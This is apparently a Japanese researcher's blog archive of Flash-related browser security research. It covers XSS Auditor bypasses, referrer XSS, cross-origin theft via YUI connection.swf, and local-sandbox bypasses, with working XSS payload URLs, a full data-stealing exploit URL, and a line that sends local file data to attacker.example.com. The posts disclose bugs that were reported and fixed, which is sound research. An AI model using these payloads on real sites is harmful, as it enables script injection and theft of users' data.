ラベル Flash の投稿を表示しています。 すべての投稿を表示
ラベル Flash の投稿を表示しています。 すべての投稿を表示

2016/12/27

ブラウザのXSS保護機能をバイパスする(12)

English version is here: http://mksben.l0.cm/2016/12/xssauditor-bypass-using-paramtag.html

もう終わっていますが、せっかくなのでこの記事は脆弱性"&'<<>\ Advent Calendar 2016の21日目の記事ということにします!俺たちのクリスマスはこれからだ!

怒涛のブラウザのXSS保護機能のバイパスネタです。

昨日、とあるバグの原因を特定するために、Chromiumのソースコードを眺めていたのですが、その際、偶然XSS Auditorのバイパスを発見しました。以前紹介したベクターがChromeの先行バージョンで塞がれはじめ、そろそろ新しい方法を発見しなければと思っていたところだったのでちょうどよかったです。

今回はobject要素とparam要素を使ってバイパスします。Chrome Canary 57で動作することを確認しています。

ChromeのXSS AuditorはFlashをロードできてしまうような、危険なparam要素をブロックしようとします。

HTMLParamElement.cpp の中にURLをロードできるparam要素かどうかのチェックがあり、これがXSSAuditorのコードから呼ばれます。以下のように、name属性の値が data/movie/src だった場合をチェックし、マッチした場合はフィルターが遮断するようになっています。
bool HTMLParamElement::isURLParameter(const String& name) {
  return equalIgnoringCase(name, "data") || equalIgnoringCase(name, "movie") ||
         equalIgnoringCase(name, "src");
}
Flashをロードするとき、embed src=かobject data=を使うのが一般的ですが、Chromeの場合はparam要素からもロードすることができるようです。
実際に動作することをみてみましょう。以下のURLからスクリプトの実行を確認できます。
(動作を確認することが目的のため、次の2つのURLはXSS Auditorをオフに制御しています。)

https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%3Cparam%20name=movie%20value=https://l0.cm/xss.swf%3E&xss=0
<object allowscriptaccess=always>
<param name=movie value=https://l0.cm/xss.swf>

https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%3Cparam%20name=src%20value=https://l0.cm/xss.swf%3E&xss=0
<object allowscriptaccess=always>
<param name=src value=https://l0.cm/xss.swf>
ただし、XSS Auditorにブロックされるname=dataでは、少なくともFlashは動作しませんでした。この部分は、あまり考えずに追加されているか、あるいは以前XSSできたプラグインがあったと推測しますが、詳細は不明です。

さて、ここまででも既にマニアックな動作の紹介でしたが、Chromeではさらに別の文字列でもFlashのロードが可能であり、さらにそれらはXSS Auditorにさえ見落とされていることがわかりました。

こちらがその方法です。 name属性の値をurlという文字列に変えただけです。

https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3E
<object allowscriptaccess=always>
<param name=url value=https://l0.cm/xss.swf>
または、codeとしても動くようです。

https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=code%20value=https://l0.cm/xss.swf%3E
<object allowscriptaccess=always>
<param name=code value=https://l0.cm/xss.swf>
これらの値は、HTMLObjectElement.cppを見て発見しました。
if (url.isEmpty() && urlParameter.isEmpty() &&
    (equalIgnoringCase(name, "src") || equalIgnoringCase(name, "movie") ||
     equalIgnoringCase(name, "code") || equalIgnoringCase(name, "url")))
  urlParameter = stripLeadingAndTrailingHTMLSpaces(p->value());

srcやmovieなどと一緒に、codeとurlも書かれていたので、もしかしたらロードできるかもと思って試したらすんなり動いたというかんじでした。この動作、ソースコードのコメントを見ると、互換性のために残してあるといったことが書いてありますが、この方法ではIE/EdgeやFirefoxではFlashはロードされませんでした。Chromeが互換性という言葉を口にして自分だけ罠にハマっているパターンは珍しいですね。

シンプルな反射型XSSさえあれば利用可能かつページを開いてからのユーザ操作も不要で、かなり有能なベクターだと思います。

ちなみに、バイパスは以下で報告済みです。

便宜上、セキュリティバグとして登録したので、一時的に非公開になっていますが、ChromeのXSS Auditorのバイパスはいつもノーマルバグとして扱われるので、そのうち見れるようになるはずです。

以上です!

2016/10/07

Anniversary Update後のReferrerを使ったXSS

English version is here: http://mksben.l0.cm/2016/10/xss-via-referrer.html

今日はXSSのテクニックを紹介する簡単なポストです!

Windows 10のAnniversary UpdateからIE/Edgeの細かい動作が変わっているようです。
XSSと関係の深い動作もいくつか変更されています。その中の1つに、リファラ文字列に含まれる一部の文字が常にエンコードされるようになった動作があります。以下に具体的に示します。

次のような、リファラ文字列を書き出すページがあるとします。

https://vulnerabledoma.in/xss_referrer

以前までのIE/Edgeでは、過去のブログでも取り上げたように、次のようにスクリプト文字列を含んだURLからのリファラを送信することで、XSSが可能でした。

https://l0.cm/xss_referrer_oldpoc.html?<script>alert("1")</script>

ところがAnniversary Updateを適用したEdgeやIEで確認すると、"<>といったXSSのカギとなる文字列が次のようにエンコードされてしまいます。
HTTP_REFERER: https://l0.cm/xss_referrer_oldpoc.html?%3Cscript%3Ealert(%221%22)%3C/script%3E
document.referrer: https://l0.cm/xss_referrer_oldpoc.html?%3Cscript%3Ealert(%221%22)%3C/script%3E
このせいで、単純に書き出すようなケースでXSSができなくなってしまいました。

今のところ、現役のWindows 8.1や7のIE11はリファラ文字列をエンコードしないので、XSSが可能なことの証明には困らないのですが、やっぱりWin10でもリファラでXSSしたいですよね!

今日は、そんな人達に朗報です。
Win10でリファラ経由でXSSする方法を発見したので、ご紹介したいと思います。

説明は一言で終わります。FlashのnavigateToURL()を使ってナビゲーションすればまだRefererヘッダに"<>がエンコードされずに入ってくれます。

以下にPoCを置きました。Anniversary Update適用済みのWin10のIE/Edgeでアクセスしてみてください。

https://l0.cm/xss_referrer.swf?<script>alert(1)</script>

ActionScriptのソースコードはこんなかんじです:
package {
 import flash.display.Sprite;
 import flash.net.URLRequest;
 import flash.net.navigateToURL;
 public class xss_referrer extends Sprite{
  public function xss_referrer() {
  var url:URLRequest = new URLRequest("https://vulnerabledoma.in/xss_referrer");
  navigateToURL(url, "_self");
  }
 }
}
ただ、残念ながら、アクセスしてわかる通り、この方法でうまくいくのは Refererリクエストヘッダを書き出す場合のみで、JavaScriptのdocument.referrerプロパティはFlash経由のナビゲーションの場合はなぜか空になってしまうようです。残念。

ちなみに、Adobe Readerの submitForm() というJavaScript API経由でもRefererリクエストヘッダにタグ文字を含めることができました。
以下にPoCがあります。Adobe ReaderプラグインがインストールされたWin10のIE11で動作を確認済みです。

https://l0.cm/xss_referrer.pdf?<script>alert(1)</script>

どうも、プラグイン経由のリクエストが考慮されていないみたいですね。


以上、Anniversary Update以後でも使えるReferrer文字列のXSS手法の紹介でした!
今月はもう1つか2つブログを書くつもりです。

2016/05/18

ブラウザのXSS保護機能をバイパスする(8)

English version: http://mksben.l0.cm/2016/05/xssauditor-bypass-flash-basetag.html
-------------------------------------

このブログではおなじみ、ブラウザのXSS保護機能をバイパスするコーナーです。
今回はIEではなく、ChromeのXSS Auditorをバイパスします。

数日前、Marioさんが自身の発見したAuditorのバイパスが修正されたことに気付いて、新たなバイパスを探していたので、一緒になって探していたらみつけました。

Marioさんが新たにみつけたのはこちらです。

僕がみつけたのは、Flashとbaseタグを用いる方法です。

このバグは既に以下で報告済みです。(現時点では閲覧制限がありますが、ChromeはAuditorのバイパスをただのバグと扱うので、そのうちオープンになるはずです。)
https://bugs.chromium.org/p/chromium/issues/detail?id=612672

早速、方法から紹介しましょう。
<div>タグに囲まれた箇所にReflected XSSがあるとします。このとき、以下のような文字列でバイパスできます。

https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href=//l0.cm/
<div><embed allowscriptaccess=always src=/xss.swf><base href=//l0.cm/</div>
いやあ、シンプルで美しいですね…!

なぜこのような形でバイパスするに至ったか、簡単にみていきましょう。
以下のような、外部のリソースを取りに行く文字列はブロックされます。
https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+src=https://evil/>
<embed src=https://evil/>
しかし、以下のような相対パスはブロックされません。

https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+src=/aaa>
<embed src=/aaa>
ということは、ベースのURLさえ変更することができれば、XSSができそうです。baseタグももちろんブロックされますが、>でタグを閉じなければ、ブロックを回避できる場合があるようです。

以下はブロックされます。
https://vulnerabledoma.in/xss_auditortest?test=3&q=<base+href=//evil/
<div><base href=//evil/ </div>
しかし、以下はブロックされません。
https://vulnerabledoma.in/xss_auditortest?test=1&q=<base+href=//evil/
<div><base href=//evil/</div>
どこが違うかわかるでしょうか?前者は、注入ポイントの後ろにスペースが入っています。どうやら、スペースや改行などの空白文字が注入ポイントの直後に入っている場合にはAuditorは閉じタグがなくても反応するようです。言い換えれば、直後に空白がなければbaseタグは設定できます。
これらから導かれたのが、最初に紹介した以下の形です。これで、外部のFlashファイル(https://l0.cm/xss.swf)がロードされ、allowscriptaccess=alwaysの指定により、 vulnerabledoma.in のコンテキストでスクリプトが実行されます。

https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href=//l0.cm/
<div><embed allowscriptaccess=always src=/xss.swf><base href=//l0.cm/</div>
注入ポイントの直後に空白がある場合だと無理かというと、そうでもありません。その後ろのどこかに"'などの引用符があれば<base href="//evil/のように閉じない引用符をつけることで、反応を回避できます。

以下の状況ではAuditorは反応しません。
https://vulnerabledoma.in/xss_auditortest?test=4&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href="//l0.cm/
<div>
<embed allowscriptaccess=always src=/xss.swf><base href="//l0.cm/
</div><div id="x">AAA</div>
大抵、"'はあるはずなので、一般的なReflected XSSの状況でかなり便利に使えるバイパス方法ではないかと思います。

ちなみになぜ、scriptタグではなくFlashを使っているかというと、scriptタグもembedタグと同じように、<script src=/xss.js></script><base href=//evil/ などがブロックされずに通るのですが、scriptタグの場合はベースのURLを変更するよりも先にscriptタグのロードが始まってしまうんですよね。

以下でこの動作を確認できます。
https://vulnerabledoma.in/xss_auditortest?test=1&q=%3Cscript%20src=/xss.js%3E%3C/script%3E%3Cbase%20href=//evil/

Flashの場合は、baseタグがあとからでてきても、それを基準にロードを開始してくれます。したがって、Flashを使ったというわけです。

以上です。普段のXSSにお使いください!

2015/05/05

connection.swf + XSS によるクロスオリジンの情報奪取

Flashを使った、ちょっと変わった情報奪取手法を紹介します。

この手法、以前から条件によっては攻撃が可能になる場合があるだろうと想像していたんですが、なかなか実例にぶつからず、2013年に開催されたサイボウズの脆弱性発見コンテスト「cybozu.com Security Challenge」で初めて本当に動作するものを発見しました。

実は既に「SECCON 2013 全国大会」でも一部詳細を発表しています。スライドの15ページの辺りから書いてある件です。
http://www.slideshare.net/masatokinugawa/cybozu-security-challenge/15

発表の時点ではサイボウズ側で修正されていなかったので、具体的な箇所を伏せていますが、今は修正されたので、具体的な箇所をあげながら説明したいと思います。

なお、この問題はFlash自体の脆弱性ではないので、今後も条件がそろえば問題が起こります。

攻撃の前提条件


ターゲットのドメインをhttp://app/とします。
ターゲットのドメインのcrossdomain.xmlのallow-access-fromには、十分に信頼できるドメイン、http://trust/がリストされているとします。

この設定に致命的な間違いはありません。
しかし、特殊な状況では、appにある情報をtrustの脆弱性を経由して奪取できてしまいます。

特殊な状況とは、次のような条件がそろった場合です。

1. trustが、appのcrossdomain.xmlのallow-access-fromにリストされている (前述したこと)
2. trustにXSS脆弱性がある
3. trustにconnection.swf(あるいはそれに準ずる機能を持つswf)がある


突然出てきた、connection.swfとは何でしょうか。

connection.swfを使った攻撃方法


connection.swfはYUI Library 2.x に同梱されている、クロスドメインで情報を取得するためのswfファイルです。

このswfファイルが具体的に何をやっているのか、ソースコードをみてみます。

yui2/connection.as at master · yui/yui2 · GitHub
https://github.com/yui/yui2/blob/master/src/connection/as/com/yui/util/connection.as

26行目のExternalInterface.addCallback()でsend()というFlashの関数をJavaScript経由で呼び出せるようにしています。
ExternalInterface.addCallback("send", send);
これで、<embed id=flash src=connection.swf></embed>等とすると、ロードしているページがFlashファイルがあるオリジンと同じなら、JavaScriptからflash.send()とすれば、Flashの関数を呼び出せるようになります。

Flash側のsend()をみてみます。
public function send(uri:String, cb:Object, id:uint):void {
    var loader:URLLoader = new URLLoader(),
        request:URLRequest = new URLRequest(uri),
        timer:Timer,
        prop:String;

    for (prop in cb) {
        switch (prop) {
            case "method":
                if(cb.method === 'POST') {
                    request.method = URLRequestMethod.POST;
                }
                break;
            case "data":
                request.data = cb.data;
                break;
            case "timeout":
                timer = new Timer(cb.timeout, 1);
                break;
        }
    }

    loaderMap[id] = { c:loader, readyState: 0, t:timer };
    defineListeners(id, timer);
    addListeners(loader, timer);
    loader.load(request);
    start(id);

    if (timer) {
        timer.start();
    }
}
引数から、URL、HTTP method、POSTデータなどを渡せるのがわかります。
ここで指定したURLに、57行目のloader.load(request);を通じてGET/POSTを送れるようになっています。
指定したURLのロードに成功した場合、success()という関数がイベントリスナを経由して実行されます。

success()をみてみます。
private function success(e:Event, id:uint, timer:Timer):void {
    var data:String = encodeURI(e.target.data),
        response:Object = {
            tId: id,
            statusText: 'xdr:success',
            responseText: data
        };

    loaderMap[id].readyState = 4;

    if (timer && timer.running) {
        timer.stop();
    }

    ExternalInterface.call(handler, response);
    destroy(id);
}
先頭の方にあるe.target.dataに、指定したURLから返ってくるレスポンスbodyが入ります。
これが最終的に後半の方にある ExternalInterface.call(handler, response);のresponseの部分に渡ります。

ExternalInterface.call()は第1引数がJavaScriptの関数、第2引数がその関数に渡す引数になります。

第1引数にある、handlerは定数で、コード全体のはじめの方で定義されています。
private var handler:String = 'YAHOO.util.Connect.handleXdrResponse';
この関数の引数に、レスポンスbodyの中身が渡されるということです。


まとめると、同一オリジン(http://trust/内)のページにconnection.swfをロードして、Flashから読み取り可能なURLを指定してflash.send()を呼び出せば、レスポンスbodyがJavaScriptの引数に入るような仕組みになっている、というかんじです。

ここで注目すべきは、別ドメインのアプリケーション(app)のcrossdomain.xmlのallow-access-fromにconnection.swfが設置されたドメイン(trust)がリストされていれば、appのレスポンスbodyでさえもtrustから取得できるということです。

ただそれは、あくまでconnection.swfを動かせればの話です。connection.swfを動かすようなページを人様のドメインで普通は勝手に作れません。
悪いことをしたいですが、どうしましょう?そんなときに使えるのがXSSですね!trust内にあるXSSを探して、XSSを使ってconnection.swfをロードしてしまえばいいんです。

XSSを探すのが大変ですか?朗報です!connection.swfはYUI Library 2.xに同梱されていると冒頭で書きましたが、都合がいいことに、古いYUI Library 2.xなら、XSS脆弱性を持ったswfファイルがもれなく3つ(CVE-2012-5881,CVE-2012-5882,CVE-2012-5883)ついてくるんです!アドバイザリが以下にあります。

Security Bulletin: Addressing a Vulnerability in YUI 2.4.0 through YUI 2.9.0
http://yuilibrary.com/support/20121030-vulnerability/

脆弱性は以下の部分にあります。すべてExternalInterface.call()のバグです。


charts.swf
http://yui.vulnerabledoma.in/charts/assets/charts.swf?allowedDomain=\"})))}catch(e){alert(1)}//

uploader.swf
http://yui.vulnerabledoma.in/uploader/assets/uploader.swf?YUISwfId=\"))}catch(e){alert(1)}//

swfstore.swf
http://yui.vulnerabledoma.in/swfstore/swfstore.swf?YUIBridgeCallback=a&YUISwfId=\"))}catch(e){alert(1)}//


ここまでで攻撃に使うパーツの説明は全て終わりました!

実際に動作する例


最後にこれらを使って、実際に動作する例をお見せしましょう。


ターゲットのアプリのドメインを xdtestapp.vulnerabledoma.in、
crossdomain.xmlで信頼するドメインをyui.vulnerabledoma.inとし、以下のようにアプリ側のcrossdomain.xmlを指定します。

http://xdtestapp.vulnerabledoma.in/crossdomain.xml
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-only" />
<allow-access-from domain="yui.vulnerabledoma.in" />
</cross-domain-policy>

yui.vulnerabledoma.inには、YUI 2.xのconnection.swfとXSS脆弱性があるとします。

さあ、この条件で、yui.vulnerabledoma.inのconnection.swf + XSS から、アプリのドメインの情報を取得する、というのをやります!

以下にアクセスして、"go"ボタンをクリックすると、アプリのドメインに置かれたsecret.txtの中身をアラートします。Chromeで動作することを確認しています。

http://yui.vulnerabledoma.in/charts/assets/charts.swf?allowedDomain=\"}%29%29%29}catch%28e%29{document.body.innerHTML=unescape(location.hash.substring(1))}//&#%3Cembed%20name%3D%22flash%22%20src%3D%22http%3A%2F%2Fyui.vulnerabledoma.in%2Fconnection%2Fconnection.swf%22%20type%3D%22application%2Fx-shockwave-flash%22%3E%3C%2Fembed%3E%0A%3Ctextarea%20id%3D%22textarea%22%3E%0AYAHOO%3D%7B%7D%3B%0AYAHOO.util%3D%7B%7D%3B%0AYAHOO.util.Connect%3D%7B%7D%3B%0AYAHOO.util.Connect.handleXdrResponse%3Dfunction%28x%29%7B%0A%09if%28typeof%20x.responseText%21%3D%27undefined%27%29%7B%0A%09%09alert%28decodeURIComponent%28x.responseText%29%29%3B%0A%09%7D%0A%7D%0Aflash.send%28%22http%3A%2F%2Fxdtestapp.vulnerabledoma.in%2Fsecret.txt%22%2C%7Bmethod%3A%22GET%22%7D%2C0%29%0A%3C%2Ftextarea%3E%0A%3Cbutton%20onclick%3Deval%28document.getElementById%28%22textarea%22%29.value%29%3Ego%3C%2Fbutton%3E


うまくいけば以下の画像のようになるはずです。(クリックで拡大)



URL内に全てのコードをぶち込んでいるので文字の迫力が凄いですが、実体は以下の部分でただlocation.hash(#以降)の文字列をURLデコードしてページ内にHTMLを挿入しているだけです。
document.body.innerHTML=unescape(location.hash.substring(1)) 
ページ内に挿入されるHTMLである、#以降の部分をデコードすると以下のようになります。
<embed name="flash" src="http://yui.vulnerabledoma.in/connection/connection.swf" type="application/x-shockwave-flash"></embed>
<textarea id="textarea">
YAHOO={};
YAHOO.util={};
YAHOO.util.Connect={};
YAHOO.util.Connect.handleXdrResponse=function(x){
    if(typeof x.responseText!='undefined'){
        alert(decodeURIComponent(x.responseText));
    }
}
flash.send("http://xdtestapp.vulnerabledoma.in/secret.txt",{method:"GET"},0)
</textarea>
<button onclick=eval(document.getElementById("textarea").value)>go</button>
ここでは、connection.swfをembedタグでロードし、JavaScriptの関数、YAHOO.util.Connect.handleXdrResponseを自分の好きな処理をするように書き換えることで、ExternalInterface.call(handler, response);でレスポンスbodyが渡った時に、これをalert()するようにしています。最後に、取得したいURLを引数にセットしてflash.send()を呼び出すことで、alertダイアログにsecret.txtのレスポンスbodyが表示されます。

サイボウズのケースでも、アプリのドメインのcrossdomain.xmlでYUIのファイルが存在する別ドメインをリストしていたため、connection.swf+ XSS のコンボで、アプリのドメインの情報を取り出すことができてしまっていました。

はい、以上です。Flashを使った少し変わった情報奪取手法を紹介しました!
この手法、普通は自分のアプリには影響のない、別ドメインの脆弱性をうまく使うことで、自分のアプリまで攻撃されてしまうというのがとても面白いと思います。

この問題から言えることは、crossdomain.xmlのallow-access-fromにどこかのドメインを書くということは、書いたドメインが信頼できるのは当然のことで、さらに、都合の悪いFlashがないことまで保証できない限り、安全とは言い切れないということです。管理下にないサイトだったらそこまでの検証の仕様がないわけで、管理下にないサイトをここに追加すること自体がかなり危なっかしいことと言えると思います。
このような問題も起こるので、サイト管理者は、一度crossdomain.xmlの設定を見直されることをお勧めします。もはや使っていないけど放置したままというところも多いのではないでしょうか。

2014/12/10

Flashのlocal-with-filesystem Sandboxのバイパス


この記事は 脆弱性"&'<<>\ Advent Calendar 2014 10日目の記事です!

発見したFlashのlocal-with-filesystem Sandboxをバイパスできた複数の脆弱性(CVE-2014-0534, CVE-2014-0537 か CVE-2014-0539, CVE-2014-0554)について書きます。

CVE-2014-0534
http://helpx.adobe.com/security/products/flash-player/apsb14-16.html

CVE-2014-0537 か CVE-2014-0539 (※どちらかのCVEがこのバグだけど片方は無関係の別のバグ、区別がつかない…)
http://helpx.adobe.com/security/products/flash-player/apsb14-17.html

CVE-2014-0554
http://helpx.adobe.com/security/products/flash-player/apsb14-21.html

local-with-filesystem Sandboxとは


ローカルで動くFlashのセキュリティ制限のタイプの1つです。local-with-filesystem Sandboxで動くFlashは、ローカルに保存したデータにはアクセスできるけど、ネットワーク通信はできないという制限で動きます。これにより、ローカルのデータを処理しながら、外部にはそのデータを送信されないような制限で安全にアプリを動かすことができるという話みたいです。詳しくは、Adobeのドキュメント(http://help.adobe.com/ja_JP/ActionScript/3.0_ProgrammingAS3/WS5b3ccc516d4fbf351e63e3d118a9b90204-7e3f.html)を参照。

(ちなみに、ブラウザによってははじめからローカルのhtmlを開いたときにこの制限以上のことができるものもあります。そういうブラウザははじめから問題にならないと考えていいでしょう。詳しくは  ローカルのHTMLファイルからどこまで読み取れるか選手権 2011 - 金利0無利息キャッシング – キャッシングできます - subtech を参照。)

今回はこのFlashが意図している制限を超えて、ネットワーク上にローカルファイルのデータを渡すことがバイパスのミッションです。

【方法1】 window.nameを使う( CVE-2014-0534 その1 )


以下のような方法で、ローカルファイルを外部へ送信できていました。


[手順]------------------------------
1. 細工したSWFファイルをローカルで開く。

2. パスが既知のローカルファイルのデータをURLLoader()で取得。

3. navigateToURL()の第1引数にローカルに持たせたHTMLのファイル、第2引数に取得したデータを渡す。(第1引数 = リダイレクト先、 第2引数 = ウインドウの名前)

4. リダイレクト後のローカルのHTMLから攻撃者のサイトにとばしてwindow.nameを取得すればデータの取得完了。
----------------------------------------

単純ですが、これでできていました。
local-with-filesystem Sandboxの下では、直接httpなURLにナビゲーションできないので、一度ローカルに保存させた細工したHTMLに飛ばしています。修正後は、名前付きのウインドウはFlash側がランダムにつけた別の名前に上書きされるようになりました。

ちなみに、ローカルファイルのURLの部分に「?」や「#」つけてデータ渡せば?っていう発想もあると思うんですが、リダイレクト時に「?」や「#」以降の文字列を削除しているようで、これは無理でした。

PoCはこちら:
http://l0.cm/file/bug2_localsandbox_bypass.zip
(localsandbox_LOCAL_WITH_FILE_bypass2.swf を開くと、そこから「../secret/secret.txt」の位置にあるテキストデータを取得しようとします。)

【方法2】 ショートカットファイル *.urlを使う( CVE-2014-0534 その2 )


これは、ローカルファイルを取得する話ではないのですが、バグを使ってローカルファイルから任意のネットワーク上のデータを取得して、それを【方法1】で紹介したようにwindow.nameを経由して攻撃者のサイトへ送信するというものです。

ローカルファイルからネットワーク上のデータの取得もlocal-with-filesystem Sandboxの下では制限されていますが、Firefoxだけは、Windowsの「.url」形式のショートカットファイルに対して、URLLoader()を使うと、ショートカットファイルが指すネットワーク上のデータを取得できていました。例えば、ショートカットファイルが「https://www.google.com/」を指していれば、Googleのレスポンスbodyが取得できていました。
ここで取得したデータを【方法1】と同じようにwindow.nameで渡せばゲット完了です。

PoCはこちら:
http://l0.cm/file/bug1_localsandbox_bypass.zip
(localsandbox_LOCAL_WITH_FILE_bypass.swf を開くと、Googleのトップページのレスポンスbodyを取得し、外部に送信しようとします。)

【方法3】 「feed:」「pcast:」プロトコルを使う( CVE-2014-0537 か CVE-2014-0539 )


これもローカルファイルからネットワーク上のデータをゲットする話です。

Firefoxだけ、ローカルファイルから以下のようなURLに対しURLLoader()を使うと、ネットワーク上のデータを取得できていました。

feed:https://www.google.com/
pcast:https://www.google.com/

取得したデータは、これまた先頭にfeed: か pcast:をつけたURLに対してsendToURL()等を使い、http:なURLへの通信制限をバイパスすることで送信します。
sendToURL("feed:http://attacker.example.com/?"+data);
過去には、Billy Rios氏の記事( http://xs-sniper.com/blog/2011/01/04/bypassing-flash%E2%80%99s-local-with-filesystem-sandbox/ )にあるように、mhtml: スキームでバイパスできたという話もありましたが、今でもブラックリスト的に制限していたのですね。

PoCはこちら:
http://l0.cm/file/localsandbox_bypass_with_feed_and_pcast.zip
(SWFを開くと、Googleのトップページのレスポンスbodyを取得し、外部に送信しようとします。)

【方法4】 URLにデータを含める(CVEなし)


@BugRoast 氏が発見した以下の方法を参考にして発見しました。

#2140 Flash local-with-fileaccess Sandbox Bypass - HackerOne
https://hackerone.com/reports/2140

彼の手法はこういうことだと思います。

[手順]------------------------------
1. パスが既知のローカルファイルのデータをURLLoader()で取得し、そのデータを2進数変換。

2. そのデータをファイルパスの区切り部分に 1= %2F、 0 = %5Cのようにして重ね、罠HTMLのファイルにnavigateToURL()する。

以下のようなかんじにするということです。

file:///C:/path/%2F%5C%5C%5C%5C%5C%5C%2FPoC.html

これはfile: のURLとして問題なくアクセス可能です。

3. リダイレクト後にパスに含まれた「%2F」「%5C」を変換してテキストを取り出す。

%2F%5C%5C%5C%5C%5C%5C%2F
↓
10000001
↓
A
----------------------------------------

めっちゃおもしろいですね。【方法1】で言ったように、URLの「?」や「#」以降に文字を渡せないので、それをバイパスするためにこんなことをしている訳です。修正後はリダイレクト後のURLを正規化して、余分な「%2F」「%5C」を取り除くことで対策したようです。
この手法を見て、他にも似た方法がありそうだな、と思って考えていたところ、思いついたのが以下のような手法です。

file:///C:/path/PoC.html.%20%20%20%20%20%20.

Windowsではファイル名のあとに「.」と「スペース」を重ねることが許されるようなので、これを同じように、

.%20%20%20%20%20%20.
↓
10000001
↓
A

というようにして取得するというものです。
また、Windowsではファイル名の大文字小文字は区別なくアクセスできるので、大文字 =0、 小文字=1 みたいに変換してリダイレクトするというのもできました。

file:///C:/path/aAAAAAAa.html

aAAAAAAa
↓
10000001
↓
A

この問題に気が付いた後に、もっと根本的な問題に気が付いたので、これに対してだけの修正がリリースされることはありませんでした。

【方法5】 リダイレクトを受けたファイルから情報を取得する( CVE-2014-0554 )


ここにきて、別のローカルファイルへのリダイレクトを許しているのが、根本的に危険な動作なんじゃないのかということに気が付きました。

リダイレクトさえできれば以下のようなことができてしまいます。

[手順]------------------------------
1. パスが既知のローカルファイルのデータをURLLoader()で取得し、データから1バイト取得。

2. 取得したバイトデータにあわせて、以下のように準備した、細工したHTMLへリダイレクトする。(「A」なら「41.html」にリダイレクトする。)



3. localStorageなどにリダイレクトを受けたHTMLの名前を保存しておき、次のバイトを見る。最後のバイトまで1~3の手順を繰り返す。

4. 全部取得できたら攻撃者のサイトにリダイレクトしてデータを飛ばす。

----------------------------------------

ローカルのファイルが存在すればリダイレクトに成功するので、URLに細かくデータを含めたりしなくてもどこにリダイレクトしたかでデータを判定すればいいじゃないかということです。

PoCはこちら:
http://l0.cm/file/localsandbox_bypass_with_redirect.zip
(「!!PoC.html」 を開くと、そこから「../secret/secret.txt」の位置にあるテキストデータを取得しようとします。)

どうやって対策するんだろう、と思っていましたが、ここまできてAdobeもローカルファイルへのリダイレクト自体が危険だということに気が付いたのか、ついにリダイレクト時に以下のような警告を出すようになりました。



これにより、自分から警告より先に行かなければローカルファイルを開いただけで別のローカルファイルが漏れることはなくなりました。

はい、こんなかんじでした。僕もAdobeも根本的な問題に気が付くのがちょっと遅かったですね。

FlashがWebの制限と共存するために、どういうバランスの保ち方をしているのかを見てみると、意外な方法でやっているのが見えてきたりして楽しいですね。大抵それはうまくいっていないか、かなり危なっかしいです。

ついでにおまけ( SECCONのXSS Bonsai (aka. Hakoniwa XSS Reloaded) のwriteup )


盆栽XSSを1番に解いたmkっていう人の盆栽のwriteupっぽいものをみつけました!

http://pastebin.com/FAErAd7V


脆弱性"&'<<>\ Advent Calendar 2014 、明日は@yousukezanさんが担当するみたいです!

2014/05/30

CVE-2014-0509: 上位サロゲートを使ったFlashのXSS

Flashの文字列処理の方法が適切でないために、 適切にXSS対策が施されたFlashファイル上でもXSSを引き起こせる場合があった問題について書きます。
この問題は以下に掲載されているように、 2014年4月のFlash Playerのアップデートで修正されました。

http://helpx.adobe.com/security/products/flash-player/apsb14-09.html
These updates resolve a cross-site-scripting vulnerability (CVE-2014-0509).

本問題は、 このブログでも何度か取り上げた ExternalInterface.call() の問題に関係するものです。取り上げたのはこの辺の記事です:
ExternalInterface.call()の問題を知らない人は、先にこれらの記事をみておくと理解しやすいかもしれません。

問題の詳細

次のようなコードが、この問題の影響を受けます。

http://vulnerabledoma.in/surrogate_xss.as
...
var q:String=loaderInfo.parameters["q"].split("\\").join("\\\\"); ExternalInterface.call("console.log",q);
...
前半でqパラメータ中に含まれる「\」を split("\\").join("\\\\") で置換して変数に代入後、その変数をExternalInterface.call()の第2引数に渡しています。
この方法はExternalInterface.call() のバグの回避法として全く間違っていません。

ところが、次のような文字列を与えると、XSSが起きていました。

http://vulnerabledoma.in/surrogate_xss.swf?q=%ED%A0%80\"))}catch(e){alert(1)}//
 
注目すべきは先頭で与えた%ED%A0%80 です。%ED%A0%80 は上位サロゲート( サロゲートペアの前半バイト )にあたるコードポイント、 U+D800 を直接UTF-8エンコードした場合にできるバイト値です。Flashは、この上位サロゲートの扱いが適切でなく、任意の次の文字を潰してしまう( 正確には、後続の文字とくっついてU+FFFDを作ってしまう )挙動がありました。これが今回のバグです。

先ほどのSWFで、XSSが起こる流れは次のようなかんじです。

http://vulnerabledoma.in/surrogate_xss.swf?q=%ED%A0%80\"))}catch(e){alert(1)}//
// \が\\に置換されて U+D800\\"))}catch(e){alert(1)}// がqに代入される
// この場面では置換前から U+FFFD になっているとは考えないらしい
var q:String=loaderInfo.parameters["q"].split("\\").join("\\\\");

// console.logを引数qで呼び出す
ExternalInterface.call("console.log",q);

// FlashがJavaScript呼び出し時に生成するもの
// このとき、「"」はFlash側で「\"」にエスケープされる
// \自体はエスケープしてくれないので直前で\\にした訳だけど…あれ?
try{__flash__toXML(console.log("�\\"))}catch(e){alert(1)}//"));}catch (e){"<undefined/>"}

split("\\").join("\\\\") を使って置換するとき、置換前の段階では \はまだ喰われていないのか、ちゃんと\が置換されているところがキモです。 このせいで、のちのち喰われる場面にきたとき、不整合が起きます。

面白いことに、他の置換できる関数、例えばreplace(/\\/g,"\\\\") を使って置換する場合は、 置換前から後続の文字とくっついてU+FFFDだと評価されているのか、\\への置換は起きませんでした。
また、ExternalInterface.call()に 「U+D800"」を与えた場合でも、( 「"」の文字はJavaScript実行時にFlash側で「\"」とエスケープされますが、このエスケープよりも先に ) 「U+D800"」から「U+FFFD」が作られるようなので、 問題は起きません。

